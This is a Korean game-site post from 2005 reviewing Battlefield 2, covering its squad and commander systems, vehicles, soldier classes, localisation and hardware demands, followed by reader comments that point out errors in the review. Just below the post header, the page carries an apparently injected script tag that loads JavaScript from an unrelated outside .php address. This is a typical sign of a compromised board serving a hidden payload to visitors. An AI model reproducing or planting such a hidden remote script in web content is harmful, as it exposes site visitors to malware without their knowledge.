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[리뷰]

[리뷰] 배틀필드 2

글쓴이 : betagam 날짜 : 2005-07-04 (월) 12:52 조회 : 41935


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>

최초의 컴퓨터 게임은 1962년 3월 제작된 “스페이스 워”로 당시는 전인류가 우주에 대해 갈망과 호기심이 크던 때였다. 그래서인지 “스페이스 워” 개발자들은 개발 동기를 다음과 같이 밝혔다. “상상속의 우주 전투를 컴퓨터로 구현하고 싶었고, 컴퓨터 사용자들에게는 우주선을 마음대로 조종할 수 있는 자유를 주고 싶을 뿐이다.” 이처럼 게임의 최초 제작의도는 현실의 공간적, 시간적 제약을 넘어서 컴퓨터로 가상의 공간을 구현하고 실제와 같은 느낌을 얻어내려는데 있었다.

최초의 게임이 나온 지 어느덧 40여년이 지난 지금, 게임의 장르와 제작의도는 상당히 다양해졌다. 그 덕분에 10년전만 하더라도 롤플레잉, 어드벤쳐, 액션 등 일정한 범위를 지정해 말할 수 있었지만, 이제는 장르를 언급하는 자체가 무색할 정도로 복합 장르 또는 독특한 형식의 게임들이 계속해서 등장하고 있다.

“배틀필드1942” 역시 출시 당시에는 단지 FPS게임에 전차를 탈 수 있는 게임 방식을 결합한 것으로 인식되었다. 그러나 이번에 출시된 “배틀필드2”는 더 이상 FPS 장르로 볼 수 없을 듯 하다. FPS는 단순히 보병일 때만 적용되는 하나의 모드 수준으로 느껴 질 정도로 전체적으로 봤을 때 비중이 절반 정도 밖에 안 된다. 따라서, 필자는 배틀필드를 더 이상 FPS 게임이 아니라 실제 전쟁을 묘사한 배틀필드 장르라고 부르고 싶다.

게임 후 스코어까지

개성있는 직업, 그리고 분대 시스템

“배틀필드2”는 더욱 화려해진 그래픽 외에도 전차와 전투기 등 다양한 탈 것의 추가를 포함하여 많은 장점을 선보이고 있다. 이렇게 장점이 많은 게임을 접할 때 필자는 과연 어떤 것을 먼저 독자들에게 전해줘야 할까 하는 행복한 고민에 빠지게 된다.

가장 먼저 소개하고 싶은 부분은 분대 시스템이다. 분대 시스템은 자신이 단순히 병사로 참가하는 것이 아니라, 한 명의 분대원이 되어 명령체계를 통해 지휘를 받거나 지휘를 내리면서 작전을 수행하는 방식이다.

분대

분대에게 명령을 내려라

이 게임의 지휘체계는 크게 지휘관-분대장-분대원으로 나뉘며, 분대원은 분대장 및 자신의 분대원과 커뮤니케이션이 가능하고, 지휘관은 각 분대장들과의 커뮤니케이션이 가능하다. 분대 시스템의 가장 큰 특징은 안 그래도 큰 맵에서 방황할 수 있는 유저들에게 게임 방향을 제시해 주는데 있다.

그 이유는 분대 시스템이 상하 지휘 체계로 되어있기 때문이다. 지휘관은 전체적으로 어디를 공략하라고 분대장에게 지령을 내릴 수 있다. 그러면 분대장은 그 명령을 수락할지 안 할지를 간단한 커맨드로 대답할 수 있는데, 지시를 받으면 분대원들에게도 그 목표지점이 지도에 표시된다. 또, 실제 전투와 같이 헤드셋을 사용한 채팅이 가능하므로 헤드셋을 착용하고 게임을 하면 더욱 게임에 몰입할 수 있다.

명령 체계만이 분대 시스템의 전부가 아니다. 실질적인 도움을 서로 요청하고 지원 받을 수 있다는 것이 배틀필드 분대 시스템의 가장 큰 특징이다. 예를 들어 분대장이 어느 지점에 폭격을 요청하거나 물품을 필요로 한다면, 지휘관은 상황을 살피며 실제로 포격이나 물품 지원이 가능하다.

지휘관이 떨구는 군수 물품

지휘관 모드로 스캔 쓰기

여담이지만 31명을 지휘하게 되는 지휘관은 그 지위 자체가 매우 매력적이며, 제대로 된 지휘관 1명은 10명의 병사보다 뛰어난 능력을 발휘한다. 지휘관은 전장판을 펼 수 있으며, 스캔, UAV, 지원포격, 지원물품 등 4가지 액션을 내릴 수 있다. 전장판을 펼치고 스캔하면 적 위치를 스캔할 수 있고 적이 밀집되어 있거나 방어하는 지점에 지원포격을 하면서 아군이 많은 지점에 지원 물품을 보내어 아군을 독려한다. 지휘관은 자신이 직접 게임은 하지 못하지만, 명령을 내리고 지휘하는 독특한 재미를 느낄 수 있는 것이다.

진정한 지휘관이라면 정확히 전세 파악을

실제 전장의 차량을 모두 경험하라!

“배틀 필드2”는 시스템 하나 하나가 전장의 느낌을 살리기 위해 최대한 노력하고 있고, 그러한 노력의 흔적을 쉽게 볼 수 있다. 무엇보다 가장 큰 특징 중 하나는 이전의 밀리터리 FPS와는 달리 대 보병전이 아니라 “배틀필드1941”에서 보여주었던 전차전과 공중전이 강화되었다는 점. “배틀 필드2”에는 우리에게 익숙한 탱크와 지프, 전투기만 등장하는 것이 아니라, 최근 전장에서 사용되는 대부분의 육해공 장비들이 전부 등장한다.

탱크는 지상에선 왕이다

탱크는 총으로 안된다

약하지만 빠른 지프차

일단, 가장 조작이 어려우면서도 매력 있는 것은 전투기와 전폭기. 실제 비행 시뮬레이션 게임 같은 인터페이스를 가진 전투기류는 다른 차량에 비하여 조작이 어렵지만 그 만큼 매력이 있다. 특히 공중을 활강하면서 목표지점에 폭탄 투하, 그리고 공중에서 곡예를 돌면서 적 전투기와 펼치는 전투는 정말 짜릿하기 그지 없다.

낙하산을 타고 공수

다음은 현대전에서 빼 놓을 수 없는 병기인 헬기다. 헬기는 아파치와 같은 전투 헬기뿐 아니라, 수송용 헬기까지 등장하며, 특히 수송용 헬기와 같은 경우 병사가 6명 이상 탈 수 있어 적진 후방에 드랍할 경우 매우 효과적이다.

멋진 헬기

전차도 일반적인 탱크 뿐만 아니라 장갑차와 지프까지 그 종류가 다양하며 각 차량마다 특징을 가지고 있다. 그 밖에도 전략적 요충지에 배치되어 있는 기관총과 토우 미사일, 상륙 작전에 쓰이는 군용 보트까지 현대전에서 나오는 모든 차량을 만나 볼 수 있다.

장갑차

헬기의 기관총

그 외에도 전략적으로 중요한 무기가 있는데 바로 지휘관을 지원해주는 자주포와 레이더실 등이다. 이것은 일반 병사들은 사용할 수 없지만, 지휘관이 지원 포격이나 스캔을 할 때 쓰이는 건물들이다. 이 건물들은 적의 공격을 받으면 파괴되며, 그 때는 엔지니어들이 수리 할 수 있다. 이런 적의 전략적 특수 무기들을 무력화시키면 아군의 승리에 큰 도움이 된다.

지원 포격중이다

지원포는 전략무기다

포트를 타고 잠입

분화된 직업. 승리를 위해 자신만의 일을 찾아라!

이미 “울펜슈타인 온라인”에서 호평을 받았던 병과 분류는 “배틀필드2”에서 더욱 빛을 발한다. 기본적인 병과라 할 수 있는 유탄발사기를 달고 있는 일반 보병, 특수 부대원이라 하여 경무기를 장착한 발 빠른 병사, 그리고 치명상을 당한 아군을 살리는 의무병, 원거리 적 군사를 사살하는 스나이퍼까지 기본적인 병과류를 모두 갖추고 있다.

자신의 병과를 정하라

장렬히 전사

그 밖에도 특별한 직업인 고장난 무기와 자동차를 고치는 엔지니어와 대전차용 바주카포를 소지한 유닛도 존재하고, 탄환과 무기를 제공하는 보급병도 등장한다. 제한적이긴 하지만 전투 중 전직도 가능해 전장에서 사망한 군사가 남긴 물품을 집어 해당 병과로 탈바꿈 할 수 있다.

죽은자는 물품을 남긴다

멍하니 하늘만...

이러한 병과 분류는 특히 분대 단위 플레이에 매우 효과적이다. 멀티 플레이시 분대에 한명의 메딕과 한명의 보급병이 있다면 분대의 힘은 매우 막강해진다. 이러한 팀플레이가 바로 “배틀필드2”의 가장 큰 매력이라 할 수 있다.

보조사수로도 할 수 있다

보조조종사모드

직관적인 그래픽과 인터페이스를 승화시킨 리얼리티와 액션성

리얼리티라는 딱딱한 부분을 여러 액션 요소로 잘 녹여 놓은 “배틀 필드2”는 게이머가 전장을 활보할 때 하늘에 구름을 수놓으며 빠르게 날아가는 전투기를 볼 수 있고, 이 전투기가 게이머 주위에 근접하거나 가까운 곳에서 포탄이 터졌을 때의 굉음으로 인해 발생하는 패닉 효과도 멋지게 재현하였다. (이는 “스왓4”에서 연막탄을 맞았을 때의 효과와도 흡사하다.)

패닉상태의 그래픽

눈부시다

이러한 그래픽 효과뿐 아니라 달리기에도 체력 게이지를 달아 놓고 전력 질주가 가능하게 만들었다. 이러한 게이지는 단순해 보일지는 몰라도 전략성을 한층 더하는 시스템이다. 또, 실제 사격 시 반동의 느낌이나 타격감은 그렇게 훌륭하지 않지만, 리얼리티를 강조한 오발율이 높은 편이다. 따라서, 무빙샷보다는 마우스 오른쪽 버튼을 사용하여 총의 가늠쇠를 보며 점사 모드로 바꾸는 것이 좋다.

점사 모드

전장의 폭격 그리고 정신없는 전투 중에도 지휘관과 분대장의 명령을 한눈에 알아 볼 수 있는 레이더 맵은 매우 효과적이다. 레이더 맵과 콤비를 이루고 있는 라디오 메시지도 게이머가 전장에서 해야 할 일과 현 상황을 쉽게 파악할 수 있도록 도움을 준다. 그리고 전투기나 헬기 폭파 시 추락하는 궤적이나 전투기가 폭발할 때 부서지는 효과도 사실적으로 묘사되었다. 생각해보라! 머리 위로 정신없이 날아다니는 포탄, 그리고 추락하는 전투기가 동영상이 아니라 “배틀필드 2”라는 게임에서 재현되고 있다는 것을.

전투기는 약간 힘들다

헬기를 잡았다

탈출 실패

발빠른 한글화 그리고 64명이 즐기는 진정한 멀티플레이

국내 PC 게임 시장에서 한글화를 진행할 것인가의 여부는 퍼블리싱 업체가 하게 되는 가장큰 고민 중 하나다. 또, 한글화를 하더라도 대부분의 게임이 개발 당시부터 한글화 작업을 수행하는 것이 아니라 해외에 나온 발매된 이후에나 진행하기 때문에 한글 타이틀의 동시 발매는 거의 찾아보기 힘들다.

하지만, 이번 “배틀필드 2”는 개발 초기부터 한글화를 진행하여, EA 의 한국에 대한 애정(?)을 잘 보여주는 작품으로 생각된다. 한글화 역시 적절한 수준에서 의역할 것은 의역하고, 영어 발음으로 표기할 것은 영어 발음으로 표기했다.

깨끗한 한글화

또, 중국인과 미국인 그리고 중동인의 느낌을 살리기 위해 각 진영별로 해당 국가 언어를 사용한 음성 부분은 실제 전장의 느낌을 더욱 잘 살리고 있다. 의욕적으로 한글화한다고 몽땅 다 한글 음성으로 처리했다면 더 이상하지 않을까 싶을 정도로.

이번 “배틀필드2”는 최대 64명이 함께 하는 멀티플레이를 지원한다. 예전에도 최대 64명이 즐길 수 있었지만, 사양과 최적화 문제로 32명 플레이를 즐기는 경우가 대부분이었다. 하지만, 이번 “배틀필드 2”는 어느 정도 받쳐주는 서버라면 64명이 플레이하더라도 핑이 두자리수대를 유지하면서 안정적인 멀티플레이를 지원한다. 가끔 레이더에는 적이 있지만 실제 전장에는 보이다가 사라졌다가 하는 경우가 있어서 아쉽기는 했지만...

아무튼 “배틀필드 2”는 멀티플레이 기반의 게임이라고 봐도 과언이 아니다. 싱글플레이도 있기는 하지만 어떠한 스토리를 가지고 있지 않고 스크립트화된 봇들과의 전쟁이 대부분이라, 멀티플레이를 즐기지 않는다면 진정한 “배틀필드2”의 재미를 느낄 수 없다.

넘어야 할 벽은 온라인인가, 사양인가

진정으로 즐기기 위해서는 멀티플레이가 필수적인 “배틀필드 2”. 멀티플레이에서 64명이 즐기는 것이나 싱글플레이로 16명 이상의 봇과 싸우는 것이나 어느 쪽이든 시스템에 무리가 가는 것은 자명하다.

거기다 넓은 통짜 전장, 수많은 전차와 빠르게 움직이는 전투기까지… 생각하기만해도 프로그램 자체가 무겁게 느껴지는 것이 사실이고 실제로 게임도 왠만큼 사양이 된다고 자부하는 유저도 혀를 내두를 정도다. (특히 중간옵션이상의 게임 로딩은 게이머의 인내심을 시험하게 될 것이다.)

옵션을 전부 낮추고 최하 퀄리티로 게임을 한다면 평균급 컴퓨터에서 무난하게 돌아가지만, 산들산들 흔들리는 풀포기부터 하늘과 물 표현이 뛰어나게 바뀌는 퀄리티 중급 이상을 경험해 본 유저라면 컴퓨터 업그레이드의 의욕을 북돋우게 될 것이다.

이러한 컴퓨터 사양의 압박 외에도 “배틀필드2”는 넘어야 할 산이 하나 더 있다. “배틀필드 2” 나오기 얼마 전부터 오픈베타 서비스를 하고 있는 “워록”이 그것이다. 게임 퀄리티 측면에서는 누가 봐도 십중 팔구 “배틀필드 2”의 손을 들어주겠지만, 접근성이나 가격이라는 측면에서 장점을 가진 “워록”은 절대로 만만한 상대가 아니다.

하지만, 가장 힘든 상대는 자기 자신일 것이다. 넘어야 할 산도 많지만, 그전에 자기 자신부터 돌아봐야 할 듯 싶다. 데모를 해보고 재미있어서 정품을 구입한 게이머가, 아직 마땅한 플레이 서버가 없어 다시 데모를 하게 되는 상황이 발생할 수도 있기 때문이다. 그러한 부분에 대처하기 위해 서버가 활성화 되기 전까지 유통사가 국내 서버를 제공하는 방안도 좋으리라 생각하지만, 만약 이러한 성의를 보이지 않는다면 “배틀 필드2”는 실망스러운 결과를 얻을 수도 있다.

여담이지만 필자는 게임을 하나의 상품인 동시에 작품으로도 본다. 장인 정신으로 만들어 낸 “배틀필드2”를 다른 유사게임과 비교하면 “배틀필드2”쪽으로 기울어지는 건 필자의 주관에 문제가 있는 것인지도 모르지만 이렇게 완성도 높고 퀄리티 높은 제품이 언젠가는 승리하는 날이 왔으면 하는 바람으로 필자는 계속 “배틀 필드2”를 주시하고 싶다.

게임샷 염희중 기자

시발라마 (211.♡.240.228) 2005-07-04 (월) 18:56
오우 정말 ;;; 하고 싶어 지는데요 ㅜㅜ
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Nvidia (221.♡.117.194) 2005-07-04 (월) 20:09
잘 읽었습니다.^^
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제길슨넥슨 (59.♡.234.145) 2005-07-04 (월) 22:57
배틀필드2  카스처럼 피씨방을 중심으로 열풍을 일으키길...
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피묻은케이크 (60.♡.251.163) 2005-07-06 (수) 02:57
워록이 배틀필드 모사품이라는 이야기는 들었는데 이렇게 대단한 게임인줄은 몰랐네요. 어서 좋은 유통사 만나야 할턴디...
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호박대가리 (211.♡.134.233) 2005-07-06 (수) 20:47
피묻은케이크님 무슨 말씀이신지;
유통사는 당연히 일레토닉아츠 ea 입니다.
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정기헌 (211.♡.173.133) 2005-07-06 (수) 22:48
염희중 기자 예전 나우누리 gamebb 게임 게시판에서 활동하던 사람인데,
아직까지 게임계에서 활동하고 있군요.
나우누리 TR 명령어로 이 분이랑 게임 교환하던 기억이 생생한데
그 때가 벌써 10년전이군요.
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스피어스 (60.♡.2.178) 2005-07-07 (목) 08:11
한글화를 언급하셨는데, 몇가지 잘못된 것도 있더군요.
예를 들어 영어로는 상황종료나 이상없다 = 클리어, 메딕치료 = 클리어
둘다 한글판에선 나았다...
쩝 =_=; 여기저기서 나았다 나았다 나았다
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크흥 (220.♡.38.124) 2005-07-07 (목) 21:11
[탱크는 지상의 왕이다] 부분에서..

저거 장갑차인데 -_-;
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M.H.P.A (211.♡.247.238) 2005-07-10 (일) 11:50
포트.?? 보트 가 아닌가요??
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ayjoung325 (61.♡.183.212) 2005-07-10 (일) 15:48
실수가 좀 많으신듯 하네요.
그냥 그러려니 하고 넘어가죠.
쓰신것도 힘드셨을텐데

자주포-견인포 포트는 오타겠고
사령관도  꼭 지도피고 명령만 내릴뿐 아니라
지도 닫고 싸울수 있습니다.
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서비 (210.♡.211.11) 2005-07-12 (화) 07:18
이것도 어차피 모회사에서 또 카피해서 나올텐데...
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하샤신 (210.♡.211.188) 2005-08-05 (금) 13:21
울펜슈타인 온라인이 무슨 망발입니까-_-
리턴 투 캐슬 울펜슈타인에도 병과가 있었고, 싱글과 멀티가 지원되는 패키지게임이고,
울펜슈타인 에너미 테리토리는 확장팩인데 개발도중에 무료로 배포된 게임이죠.
울펜슈타인 온라인이라는 말은 처음들어보네요.
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피묻은케이크 (60.♡.251.163) 2005-08-20 (토) 15:24
호박대가리// EA가 좋은 유통사가 아니기 때문에 쓴 말입니다;;
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특전동지회 (61.♡.188.75) 2005-08-21 (일) 10:10
배필2 재밌게 하고있습니다.
대체로 평을 잘 쓰셨네요. 이 게임은 첨엔 몰랐는데 하면 할수록 영화속의 전쟁터에 그대로 와있는듯한 느낌 그대로입니다. 특히 커맨더의 지휘하에 팀플이 강조되는 분대플레이의 맛은 다른 겜에선 찾아보기힘들죠.
게임시장에도 훌륭한 작품이 항상 대박을 터뜨리는건 아닙니다.
워록이라는 접근성과 대중성을 갖춘 게임으로 인해 오히려 배필을 어려워하는 유저도 있죠. 마치 시뮬레이션보다 아케이드를 즐기는 사람도 많다는 점에서~
좀 더 적극적인 홍보와 공식서버의 완비가 없다면
어쩌면 매니아들만의 대작이 될지도 모르겠습니다.
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싸이렌 (221.♡.169.180) 2005-10-29 (토) 12:10
저도 배필을 즐기고 싶지만 사양이 안되는 군요. 배틀필드1도 심한 사양의 압박을 느낀 저로서는...흑
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마미를사랑해 (218.♡.120.205) 2006-01-25 (수) 12:41
하고싶지만 사양의 압박이..
램이라도 높았으면 할수있을탠대..
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